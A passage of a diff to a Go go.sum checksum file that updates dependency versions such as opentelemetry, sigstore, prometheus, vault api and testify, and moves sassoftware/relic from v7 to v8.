h1:OkfZgLvLDnGP2hrRGD+42WBiPWWkoHomTJ+IVI+KaDc= +github.com/go-openapi/validate v0.26.3/go.mod h1:7DOOa4raU6NRe7A8VQSKbm3VcuUIioREYHFt+er9Sk8= github.com/go-quicktest/qt v1.101.1-0.20240301121107-c6c8733fa1e6 h1:teYtXy9B7y5lHTp8V9KPxpYRAVA7dozigQcMiBust1s= github.com/go-quicktest/qt v1.101.1-0.20240301121107-c6c8733fa1e6/go.mod h1:p4lGIVX+8Wa6ZPNDvqcxq36XpUDLh42FLetFU7odllI= github.com/go-resty/resty/v2 v2.17.2 h1:FQW5oHYcIlkCNrMD2lloGScxcHJ0gkjshV3qcQAyHQk= @@ -452,10 +450,10 @@ github.com/google/trillian v1.7.3/go.mod h1:qh8iy4x/GvnVXUBd5pK4oncuT1Y9vVYfibQV github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/enterprise-certificate-proxy v0.3.16 h1:F/VPrx0YPBdksZJQdCAp0WUsqnNmZpUZszzfYt0M5Dw= -github.com/googleapis/enterprise-certificate-proxy v0.3.16/go.mod h1:9Yb0eAkH/Xqhvv3zbeKf/+wMJqCeocWc6KIhDvEAuYE= -github.com/googleapis/gax-go/v2 v2.22.0 h1:PjIWBpgGIVKGoCXuiCoP64altEJCj3/Ei+kSU5vlZD4= -github.com/googleapis/gax-go/v2 v2.22.0/go.mod h1:irWBbALSr0Sk3qlqb9SyJ1h68WjgeFuiOzI4Rqw5+aY= +github.com/googleapis/enterprise-certificate-proxy v0.3.18 h1:hvVi34VucdrV1IIsiWuqYM8kutw/92MxNEFxCJZEh0k= +github.com/googleapis/enterprise-certificate-proxy v0.3.18/go.mod h1:rSEsBUemEBZEexP2y6jPp16LUmUbjmSbcPMQizR0o4k= +github.com/googleapis/gax-go/v2 v2.23.0 h1:Tchl7qkvE7Ip3y+ztvNufYFvkfqTe7NfLTYGIdJRLuE= +github.com/googleapis/gax-go/v2 v2.23.0/go.mod h1:rBQKOVJCdb8IFEzg+FCwlt1LP/xMDGuqUXhUG+XMXEg= github.com/gopacket/gopacket v1.7.1 h1:1C7/wrJ5HyiEAYDtStJHQk4rV0ChpanZDV9+3Ov3gaM= github.com/gopacket/gopacket v1.7.1/go.mod h1:QKowPlTLrQU2rqV5C5I14Aoaid3l8da3kbddibc/Wgk= github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674 h1:JeSE6pjso5THxAzdVpqr6/geYxZytqFMBCOtn/ujyeo= @@ -465,13 +463,12 @@ github.com/gosuri/uilive v0.0.4/go.mod h1:V/epo5LjjlDE5RJUcqx8dbw+zc93y5Ya3yg8tf github.com/gosuri/uiprogress v0.0.1 h1:0kpv/XY/qTmFWl/SkaJykZXrBBzwwadmW8fRb7RJSxw= github.com/gosuri/uiprogress v0.0.1/go.mod h1:C1RTYn4Sc7iEyf6j8ft5dyoZ4212h8G1ol9QQluh5+0= github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 h1:UH//fgunKIs4JdUbpDl1VZCDaL56wXCB/5+wF6uHfaI= -github.com/grpc-ecosystem/go-grpc-middleware v1.4.0/go.mod h1:g5qyo/la0ALbONm6Vbp88Yd8NsDy6rZz+RcrMPxvld8= github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus v1.1.0 h1:QGLs/O40yoNK9vmy4rhUGBVyMf1lISBGtXRpsu/Qu/o= github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus v1.1.0/go.mod h1:hM2alZsMUni80N33RBe6J0e423LB+odMj7d3EMP9l20= github.com/grpc-ecosystem/go-grpc-middleware/v2 v2.3.3 h1:B+8ClL/kCQkRiU82d9xajRPKYMrB7E0MbtzWVi1K4ns= github.com/grpc-ecosystem/go-grpc-middleware/v2 v2.3.3/go.mod h1:NbCUVmiS4foBGBHOYlCT25+YmGpJ32dZPi75pGEUpj4= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 h1:5VipnvEpbqr2gA2VbM+nYVbkIF28c5ZQfqCBQ5g2xfk= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0/go.mod h1:Hyl3n6Twe1hvtd9XUXDec4pTvgMSEixRuQKPTMH2bNs= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.30.0 h1:/Tnpcb2E0Pz/tN9s3bfEY2Q8ePCEX9iuS+cneUwncnw= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.30.0/go.mod h1:zOBXOsUaBSjKgmH4OGzV1esUpR3oUSCPYVd2cUBjKYY= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= @@ -501,8 +498,8 @@ github.com/hashicorp/go-version v1.9.0 h1:CeOIz6k+LoN3qX9Z0tyQrPtiB1DFYRPfCIBtaX github.com/hashicorp/go-version v1.9.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/hcl v1.0.1-vault-7 h1:ag5OxFVy3QYTFTJODRzTKVZ6xvdfLLCA1cy/Y6xGI0I= github.com/hashicorp/hcl v1.0.1-vault-7/go.mod h1:XYhtn6ijBSAj6n4YqAaf7RBPS4I06AItNorpy+MoQNM= -github.com/hashicorp/vault/api v1.22.0 h1:+HYFquE35/B74fHoIeXlZIP2YADVboaPjaSicHEZiH0= -github.com/hashicorp/vault/api v1.22.0/go.mod h1:IUZA2cDvr4Ok3+NtK2Oq/r+lJeXkeCrHRmqdyWfpmGM= +github.com/hashicorp/vault/api v1.23.0 h1:gXgluBsSECfRWTSW9niY2jwg2e9mMJc4WoHNv4g3h6A= +github.com/hashicorp/vault/api v1.23.0/go.mod h1:zransKiB9ftp+kgY8ydjnvCU7Wk8i9L0DYWpXeMj9ko= github.com/hetznercloud/hcloud-go/v2 v2.47.0 h1:SI7C4cvdYReb2aHUEQ8KBMOqxNnmd4hOZti1SbPq3Qk= github.com/hetznercloud/hcloud-go/v2 v2.47.0/go.mod h1:pdG7fFGlYsCAaJ9r0QOIF0O6wQcpbJxT2VT8aP6XlIc= github.com/howeyc/gopass v0.0.0-20210920133722-c8aef6fb66ef h1:A9HsByNhogrvm9cWb28sjiS3i7tcKCkflWFEkHfuAgM= @@ -525,8 +522,8 @@ github.com/jarcoal/httpmock v1.4.1 h1:0Ju+VCFuARfFlhVXFc2HxlcQkfB+Xq12/EotHko+x2 github.com/jarcoal/httpmock v1.4.1/go.mod h1:ftW1xULwo+j0R0JJkJIIi7UKigZUXCLLanykgjwBXL0= github.com/jedisct1/go-minisign v0.0.0-20260527172527-a09352b57a22 h1:C68TAi+k12EKJCAmsdaERzQ22ZxVE6n+CuB3kOkhQ7c= github.com/jedisct1/go-minisign v0.0.0-20260527172527-a09352b57a22/go.mod h1:vYVVh81Lqe/TP0sPLjiNYcX9Hxy/YSfkUx96lYJeyKo= -github.com/jellydator/ttlcache/v3 v3.4.0 h1:YS4P125qQS0tNhtL6aeYkheEaB/m8HCqdMMP4mnWdTY= -github.com/jellydator/ttlcache/v3 v3.4.0/go.mod h1:Hw9EgjymziQD3yGsQdf1FqFdpp7YjFMd4Srg5EJlgD4= +github.com/jellydator/ttlcache/v3 v3.4.1 h1:bOdXmXiycyK6E6Qjyuj5vl+/vU3SCOoDs8a86NbHjAQ= +github.com/jellydator/ttlcache/v3 v3.4.1/go.mod h1:j7LO12PNghFg5+0v9budMAT4rDK4JY969jb9vOdOBBk= github.com/jeromer/syslogparser v1.1.0 h1:HES0EviO9iPvCu56LjVFVhbM3o0BckDlIbQfkkaRJAw= github.com/jeromer/syslogparser v1.1.0/go.mod h1:zfowyus/j2SEgW31bIntTvEBE2zCSndtFsCC6NcW4S4= github.com/jhump/grpctunnel v0.3.0 h1:itddWDKl7J4CeW4nzY3S/a1s7mPZUb8UtUzEhc/R8mg= @@ -743,13 +740,13 @@ github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRI github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmorjan/kmod v1.1.1 h1:Vfw6bMaOg/sYSBCqJPT9TbqHHf5zK00GbaL5JQLO4r0= github.com/pmorjan/kmod v1.1.1/go.mod h1:jR4fVosEpQ6b5U0rpxaqoShTDPvCjLIP8vEESZyvnqQ= -github.com/prometheus/client_golang v1.24.0 h1:5XStIklKuAtJSNpdD3s8XJj/Yv78IQmE1kbNk87JrAI= -github.com/prometheus/client_golang v1.24.0/go.mod h1:QcsNdotprC2nS4BTM2ucbcqxd2CeXTEa9jW7zHO9iDE= +github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU= +github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk= github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE= -github.com/prometheus/common v0.70.0 h1:bcpru3tWPVnxGnETLgOV5jbp/JRXgYEyv65CuBLAMMI= -github.com/prometheus/common v0.70.0/go.mod h1:S/SFasQmgGiYH6C81LKCtYa8QACgthGg5zxL2udV7SY= +github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi/PY= +github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc= github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI= github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY= github.com/rivo/tview v0.42.0 h1:b/ftp+RxtDsHSaynXTbJb+/n/BxDEi+W3UfF5jILK6c= @@ -773,10 +770,8 @@ github.com/santhosh-tekuri/jsonschema/v6 v6.0.3 h1:1EYB5IzjZawrrnELUi78f9fPu57Hu github.com/santhosh-tekuri/jsonschema/v6 v6.0.3/go.mod h1:JXeL+ps8p7/KNMjDQk3TCwPpBy0wYklyWTfbkIzdIFU= github.com/sasha-s/go-deadlock v0.3.9 h1:fiaT9rB7g5sr5ddNZvlwheclN9IP86eFW9WgqlEQV+w= github.com/sasha-s/go-deadlock v0.3.9/go.mod h1:KuZj51ZFmx42q/mPaYbRk0P1xcwe697zsJKE03vD4/Y= -github.com/sassoftware/relic v7.2.1+incompatible h1:Pwyh1F3I0r4clFJXkSI8bOyJINGqpgjJU3DYAZeI05A= -github.com/sassoftware/relic v7.2.1+incompatible/go.mod h1:CWfAxv73/iLZ17rbyhIEq3K9hs5w6FpNMdUT//qR+zk= -github.com/sassoftware/relic/v7 v7.6.2 h1:rS44Lbv9G9eXsukknS4mSjIAuuX+lMq/FnStgmZlUv4= -github.com/sassoftware/relic/v7 v7.6.2/go.mod h1:kjmP0IBVkJZ6gXeAu35/KCEfca//+PKM6vTAsyDPY+k= +github.com/sassoftware/relic/v8 v8.2.0 h1:9/L4S4I6an/JsPNhmcTpqfiOIsLb/iJaePZD1xR+ulE= +github.com/sassoftware/relic/v8 v8.2.0/go.mod h1:pZy7hLT9WCOKPonV8G/fplvtBLOZd6/kWtKqeHR6nKc= github.com/scaleway/scaleway-sdk-go v1.0.0-beta.37 h1:1Q6K8D0BagYYEnCTkT9fn3YHUFb06bS1OvIHWcc3JQM= github.com/scaleway/scaleway-sdk-go v1.0.0-beta.37/go.mod h1:Rtb4r3WZ5x4AqmL3t/wiF/DmQi+7GlU/nCRdqFbClV4= github.com/secure-systems-lab/go-securesystemslib v0.11.0 h1:iuCR9kcMFD4QurdKrGvPLoKZLv9YvwPYVr0473BdtFs= @@ -856,22 +851,22 @@ github.com/sigstore/cosign/v3 v3.1.3 h1:001JQRI/PJ/5T+g/kJ1KTvKFbb322+fomc+pHDZ/ github.com/sigstore/cosign/v3 v3.1.3/go.mod h1:DmjtYkWDMdbG26X+QSOPB6QQGkLjRjQCIxxNs6wV6bA= github.com/sigstore/protobuf-specs v0.5.1 h1:/5OPaNuolRJmQfeZLayJGFXMpsRJEdgC6ah1/+7Px7U= github.com/sigstore/protobuf-specs v0.5.1/go.mod h1:DRBzpFuE+LnvQMN10/dU6nBeKwVLGEQ6o2FovN2Rats= -github.com/sigstore/rekor v1.5.3 h1:0Tyolw3zreRgm7PUW8dccFLXGBThi08278jI8EXNSr4= -github.com/sigstore/rekor v1.5.3/go.mod h1:h3GK5dDqCcWJJZUJwdpKGSSmEV2GEjPUjJy3WTjBwzA= +github.com/sigstore/rekor v1.5.4 h1:A9zITTrkRwO+8lfq7L/gBR7rDHHcBQJRI+a0JQo4xDM= +github.com/sigstore/rekor v1.5.4/go.mod h1:0bcUHhZPlG+RVW1dI/7sdBp0MiVWVzk9h0tgOH/o0Yc= github.com/sigstore/rekor-tiles/v2 v2.3.0 h1:HhMgH61UP0t899V8Fjt7pz1YdgOBptbaQdnCF+79cdc= github.com/sigstore/rekor-tiles/v2 v2.3.0/go.mod h1:DEFiKSyQ4nF75QRVNdOPaIH3cmvMkO2B6xDZjNYngPc= github.com/sigstore/sigstore v1.10.9 h1:7Dcpt+ibnltHQZ8XhaU0dFmhHaf/T491eJfA9WDex4Y= github.com/sigstore/sigstore v1.10.9/go.mod h1:LYW9+qH7bK8wZmLm6lPxIC5lkHtkJDCgkqjChzTAIBs= github.com/sigstore/sigstore-go v1.3.0 h1:hnIMHREyCNTYFtOE1o7ae3Axa9B5W5EjUSBJICP2NBE= github.com/sigstore/sigstore-go v1.3.0/go.mod h1:AyRQXfpH89py1twjE3kEZxlRersng90GSYqQV9zGJE8= -github.com/sigstore/sigstore/pkg/signature/kms/aws v1.10.8 h1:tofVQ+UWJgad/69I5zbqxdFCN5gpIn9tRQP7iBzIpBw= -github.com/sigstore/sigstore/pkg/signature/kms/aws v1.10.8/go.mod h1:73AfJE8H6w5KGCFPBu4x/OG+i1Yxgmh0L/FtV7prd88= -github.com/sigstore/sigstore/pkg/signature/kms/azure v1.10.8 h1:8Mt7J36GcUEmbiJaiFhz2tud5ZIgkfVVCe2H/WJCHmw= -github.com/sigstore/sigstore/pkg/signature/kms/azure v1.10.8/go.mod h1:YiTpAsxoWXhF9KlLOVWCh7BckN5cYO8X01WufDq1ido= -github.com/sigstore/sigstore/pkg/signature/kms/gcp v1.10.8 h1:MxpAIMZVzn0Tpbarc9ax1I498oQBp7oYSMgoMSsOmKI= -github.com/sigstore/sigstore/pkg/signature/kms/gcp v1.10.8/go.mod h1:bnAUEkFNam6STvkVZhptVwWzWR5pS24CEtQ+lhxu7S0= -github.com/sigstore/sigstore/pkg/signature/kms/hashivault v1.10.8 h1:1DGe4/clcdOnkz5MINEczWlmEvjUtZd+AjPPT/cBhQ8= -github.com/sigstore/sigstore/pkg/signature/kms/hashivault v1.10.8/go.mod h1:6IDFhpgxtzqbnzrFkyegbj7RfWwKeRrb3/+xAD1Wp+Y= +github.com/sigstore/sigstore/pkg/signature/kms/aws v1.10.9 h1:2NWAU/utJRwzy1OrQurlY3wlDSynyH1rNJS5GgFchrg= +github.com/sigstore/sigstore/pkg/signature/kms/aws v1.10.9/go.mod h1:2shgYiPHTzeb5NNEu6okco+LOojMS5n9p/5Wdp0jhGI= +github.com/sigstore/sigstore/pkg/signature/kms/azure v1.10.9 h1:zcg/EG6JW/8RSx9T2g5j6zqxplaE4dymmhiFflDE6ks= +github.com/sigstore/sigstore/pkg/signature/kms/azure v1.10.9/go.mod h1:e7QngtHib0McuP1C/+Dt9f/7a8ic8FXvPB75OQzWgU4= +github.com/sigstore/sigstore/pkg/signature/kms/gcp v1.10.9 h1:DG8R4orWDs3l9trp70fLRTgazedEDoAIo/cHEN7Qo0k= +github.com/sigstore/sigstore/pkg/signature/kms/gcp v1.10.9/go.mod h1:d6oIwQ0YiYHMcFO4xqFcAx5njXwIf0dm5KfdytOar8A= +github.com/sigstore/sigstore/pkg/signature/kms/hashivault v1.10.9 h1:V+spyeSHypvLHSOvPMT+V72dxDlS0LDkDd6lwCsUOXM= +github.com/sigstore/sigstore/pkg/signature/kms/hashivault v1.10.9/go.mod h1:o7u5bQNLqpDQFaST29dpo6P6ihMV+wicwqfMmMW6H3c= github.com/sigstore/timestamp-authority/v2 v2.1.3 h1:Fc+LjCTfik1lh3YLkaosENfkXa3R2Y1nswiUKutBdFA= github.com/sigstore/timestamp-authority/v2 v2.1.3/go.mod h1:myoFOKJB/u5vNTFwvBBJVkG3NnOBeIJevbfjNeasLjo= github.com/sirupsen/logrus v1.9.4 h1:TsZE7l11zFCLZnZ+teH4Umoq5BhEIfIzfRDZ1Uzql2w= @@ -912,8 +907,9 @@ github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= -github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE= +github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg= github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8= github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= github.com/syndtr/goleveldb v1.0.1-0.20220721030215-126854af5e6d h1:vfofYNRScrDdvS342BElfbETmL1Aiz3i2t0zfRj16Hs= @@ -936,8 +932,8 @@ github.com/tidwall/sjson v1.2.5 h1:kLy8mja+1c9jlljvWTlSazM7cKDRfJuR/bOJhcY5NcY= github.com/tidwall/sjson v1.2.5/go.mod h1:Fvgq9kS/6ociJEDnK0Fk1cpYF4FIW6ZF7LAe+6jwd28= github.com/tink-crypto/tink-go-awskms/v3 v3.0.0 h1:XSohRhCkXAVI0iaCnWB/GS05TEmpnKurQmzaY1jzt3Y= github.com/tink-crypto/tink-go-awskms/v3 v3.0.0/go.mod h1:+7MXsShLzVbSQ6dI0Pe4JuZM52jD1jQ1itAygd/MDsA= -github.com/tink-crypto/tink-go-gcpkms/v2 v2.3.0 h1:3s6YMgMOBZRU8qG6ybpKSF2Sau+y3sMvxR911M59SwA= -github.com/tink-crypto/tink-go-gcpkms/v2 v2.3.0/go.mod h1:X8UNvbQu2wanAGa8ixRUU/DWt1V2hUBfvPGy6s9nE2s= +github.com/tink-crypto/tink-go-gcpkms/v2 v2.4.0 h1:xpI5pnEQ0erFCS3JmcEl7Blluo8ZieEPNOURqy9uD70= +github.com/tink-crypto/tink-go-gcpkms/v2 v2.4.0/go.mod h1:wDDAhjfd1t4TjeJCSsmFK7CARPUs/ITi16ZZ8kmAaFQ= github.com/tink-crypto/tink-go-hcvault/v2 v2.5.0 h1:eXuNqgrcYelxU1MVikOJDP3wTS5lvihM4ntoAbAMfvs= github.com/tink-crypto/tink-go-hcvault/v2 v2.5.0/go.mod h1:3RhcxAqek6xUlRFmJifvU4CYLZN60KMQdIKqpZAZJG0= github.com/tink-crypto/tink-go/v2 v2.7.0 h1:k7QnUXJ1cRDpvoy/5l1FimZqMAArRff8vjUqzi5N04o= @@ -1005,28 +1001,28 @@ go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0= go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64= go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.69.0 h1:2yEATaop1/a1I4psnSLgWVPLWwCzkqWakgJy7xTDVy0= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.69.0/go.mod h1:D7J12YRapIekYyPWgGPlA/23pRmpSEZC5xJC/TTLI9U= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.69.0 h1:8tvICD4vSTOOsNrsI4Ljf6C+6UKvpTEH5XY3JMoyPoo= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.69.0/go.mod h1:z9+yiacE0IHRqM4qFfkbt/JYlmYXgss8GY/jXoNuPJI= -go.opentelemetry.io/otel v1.44.0 h1:JjwHmHpA4iZ3wBxluu2fbbE7j4kqlE8jXyAyPXH7HqU= -go.opentelemetry.io/otel v1.44.0/go.mod h1:BMgjTHL9WPRlRjL2oZCBTL4whCGtXch2H4BhOPIAyYc= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.70.0 h1:oECp5f+hN7nkwjU/8BxQ/q23bGPb8FIrD839owX222E= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.70.0/go.mod h1:DqEFwLumhzMBDQv9PcWbyoDxHI/4lAk6CM4nJBH39sc= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.70.0 h1:LMuyCAyfalSjDyjdC65nK6N0zoTT63+E/u95X0JovZI= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.70.0/go.mod h1:085m8qbm4hgc8rZWGDEa4vmyyo2c3nPxUslYUKUIU04= +go.opentelemetry.io/otel v1.45.0 h1:pdrWmLHofpubmArBv1LgFSv1Z0Ie/ppdZzu+kUN5EeU= +go.opentelemetry.io/otel v1.45.0/go.mod h1:XZxIqPapzEYnhNSScF5DIqXhm/rYi0FzCe2XddAwZfQ= go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.44.0 h1:4YsVu3B8+3qtWYYrsUYgn0OG78pN0rnNPRGX4SbokQI= go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.44.0/go.mod h1:+wnlSn0mD1ADVMe3v9Z/WIaiz6q6gL2J/ejaAmdmv80= go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.44.0 h1:qazEJlUOQzhCpzQpFETGby7EdqjI1wsd0W+6Gg1SCTU= go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.44.0/go.mod h1:fOD2Yefuxixkx3ahVNf0O/PERb6r4OlbxfATVnYvzCo= -go.opentelemetry.io/otel/metric v1.44.0 h1:1w0gILTcHdr3YI+ixLyjemwrVnsMURbTZFrSYCdDdmc= -go.opentelemetry.io/otel/metric v1.44.0/go.mod h1:8O7hanEPBNgEMmybD3s2VBKcgWOCsA6tzHBPODAiquo= -go.opentelemetry.io/otel/sdk v1.44.0 h1:nHYwb9lK+fJPU/dnT6s7W7Z8itMWyqrnVfbheVYrZ58= -go.opentelemetry.io/otel/sdk v1.44.0/go.mod h1:Osuydd3Se74nqjAKxid74N5eC+jfEqfTegHRnq58oK0= -go.opentelemetry.io/otel/sdk/metric v1.44.0 h1:3LlKgI+VjbVsjNRFZJZAJ30WjXC5VkNRks6si09iEfI= -go.opentelemetry.io/otel/sdk/metric v1.44.0/go.mod h1:5B5pMARnXxKhltooO4xUuCBorl65a4EpnTalObqOigA= -go.opentelemetry.io/otel/trace v1.44.0 h1:jxF5CsGYCe74MCRx2X4g7WsY/VBKRqqpNvXlX/6gtIk= -go.opentelemetry.io/otel/trace v1.44.0/go.mod h1:oLl1jrMQAVo6v3GAggN+1VH9VIz9iUSvW53sW1Q8PIE= +go.opentelemetry.io/otel/metric v1.45.0 h1:7Eg1uH7CJ5cXv9is6tnBe1FI6rj1nwUdbFypRm3br/M= +go.opentelemetry.io/otel/metric v1.45.0/go.mod h1:HAPbm1nd3p1PmFH7v2dR+6BjXxw+Lq4a2+pndMAm08s= +go.opentelemetry.io/otel/sdk v1.45.0 h1:4VVSMgQ83dUgW2aoX5f6JgLvHwIvzcuLnF9lUdCSpCw= +go.opentelemetry.io/otel/sdk v1.45.0/go.mod h1:Sr40LgXV7DsKMMJMKOhUWOgMWTfAaqvm2kF0g7ilwuA= +go.opentelemetry.io/otel/sdk/metric v1.45.0 h1:oVFszMfyj1Am6s24Vtc7wBb8BKLcwepJjNEYILuiE3o= +go.opentelemetry.io/otel/sdk/metric v1.45.0/go.mod h1:vUWUxDZvu1WVRj8JA8S0AdhsPrZoDpA2DdZauIh4mDA= +go.opentelemetry.io/otel/trace v1.45.0 h1:l/mP6Uv7oNO7/TblbhpbgMidxhq1uO/rPsikOyVhxag= +go.opentelemetry.io/otel/trace v1.45.0/go.mod h1:qoJJA2xNMnxRrdISU/kLtfUH2wNeQbiv+jhs/CxI8bc= go.opentelemetry.io/proto/otlp v1.10.0 h1:IQRWgT5srOCYfiWnpqUYz9CVmbO8bFmKcwYxpuCSL2g= go.opentelemetry.io/proto/otlp v1.10.0/go.mod h1:/CV4QoCR/S9yaPj8utp3lvQPoqMtxXdzn7ozvvozVqk= -go.step.sm/crypto v0.81.0 h1:e+ouzpNt3Xm4dp7HGXhgYB5y4iFik3vh3phHKWmvugU= -go.step.sm/crypto v0.81.0/go.mod h1:fsTizqQeASjTXnbv9O00XtRlIuXRkCdoRiJNyXGQujc= +go.step.sm/crypto v0.87.0 h1:+u0pDz1OV9M/SswA6KtcQ3GSrYMMelbL//0W/ceJVYI= +go.step.sm/crypto v0.87.0/go.mod h1:gBr1mpMiKs5804/Yt03uAoOBiw3DFxARZnGUKEUO82M= go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= @@ -1037,8 +1033,9 @@ go.uber.org/zap/exp v0.3.0 h1:6JYzdifzYkGmTdRR59oYH+Ng7k49H9qVpWwNSsGJj3U= go.uber.org/zap/exp v0.3.0/go.mod h1:5I384qq7XGxYyByIhHm6jg5CHkGY0nsTfbDLgDDlgJQ= go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ= go.yaml.in/yaml/v2 v2.4.4/go.mod h1:gMZqIpDtDqOfM0uNfy0SkpRhvUryYH0Z6wdMYcacYXQ= -go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc= go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= +go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw= +go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg= go.yaml.in/yaml/v4 v4.0.0-rc.2/go.mod h1:aZqd9kCMsGL7AuUv/m/PvWLdg5sjJsZ4oHDEnfPPfY0= go.yaml.in/yaml/v4 v4.0.0-rc.6 h1:1h7H1ohdUh93/FyE4YaDa1Zh64K6VVbjF4K6WUxMtH4= go.yaml.in/yaml/v4 v4.0.0-rc.6/go.mod h1:aZqd9kCMsGL7AuUv/m/PvWLdg5sjJsZ4oHDEnfPPfY0= @@ -1314,15 +1311,15 @@ golang.zx2c4.com/wireguard v0.0.0-20260522210424-ecfc5a8d5446 h1:cqHQ3AycTHvM2R7 golang.zx2c4.com/wireguard v0.0.0-20260522210424-ecfc5a8d5446/go.mod h1:rpwXGsirqLqN2L0JDJQlwOboGHmptD5ZD6T2VmcqhTw= gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4= gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E= -google.golang.org/api v0.284.0 